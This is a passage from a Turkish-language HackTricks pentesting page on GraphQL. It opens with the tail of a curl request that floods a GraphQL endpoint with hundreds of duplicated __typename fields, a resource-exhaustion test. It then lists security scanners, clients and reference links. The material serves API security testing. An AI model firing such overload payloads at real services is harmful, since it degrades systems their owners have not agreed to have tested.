\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Araçlar
Güvenlik Açığı Tarayıcıları
- https://github.com/dolevf/graphql-cop: graphql uç noktalarının yaygın yanlış yapılandırmalarını test eder
- https://github.com/assetnote/batchql: Toplu GraphQL sorguları ve değişiklikleri gerçekleştirmeye odaklanan GraphQL güvenlik denetim scripti.
- https://github.com/dolevf/graphw00f: Kullanılan graphql'ü parmak izi ile tanımlar
- https://github.com/gsmith257-cyber/GraphCrawler: Şemaları almak ve hassas verileri aramak, yetkilendirmeyi test etmek, şemaları kaba kuvvetle denemek ve belirli bir tür için yollar bulmak için kullanılabilecek bir araç seti.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Bağımsız olarak veya Burp uzantısı olarak kullanılabilir.
- https://github.com/swisskyrepo/GraphQLmap: Saldırıları otomatikleştirmek için CLI istemcisi olarak da kullanılabilir
- https://gitlab.com/dee-see/graphql-path-enum: Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını listeleyen araç.
- https://github.com/doyensec/GQLSpection: InQL'nin Bağımsız ve CLI Modlarının Halefidir
- https://github.com/doyensec/inql: Gelişmiş GraphQL testi için Burp uzantısı. Tarayıcı InQL v5.0'ın merkezidir, burada bir GraphQL uç noktasını veya yerel bir içgörü şeması dosyasını analiz edebilirsiniz. Tüm olası sorguları ve değişiklikleri otomatik olarak oluşturur, bunları analiziniz için yapılandırılmış bir görünümde düzenler. Saldırgan bileşeni, kötü uygulanmış hız sınırlamalarını aşmak için yararlı olabilecek toplu GraphQL saldırılarını gerçekleştirmenizi sağlar.
- https://github.com/nikitastupin/clairvoyance: Bazı Graphql veritabanlarının yardımıyla, içgörü devre dışı bırakıldığında bile şemayı almaya çalışır; bu veritabanları değişikliklerin ve parametrelerin adlarını önerecektir.
İstemciler
- https://github.com/graphql/graphiql: GUI istemcisi
- https://altair.sirmuel.design/: GUI İstemcisi
Otomatik Testler
https://graphql-dashboard.herokuapp.com/
- AutoGraphQL'ü açıklayan video: https://www.youtube.com/watch?v=JJmufWfVvyU
Referanslar
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.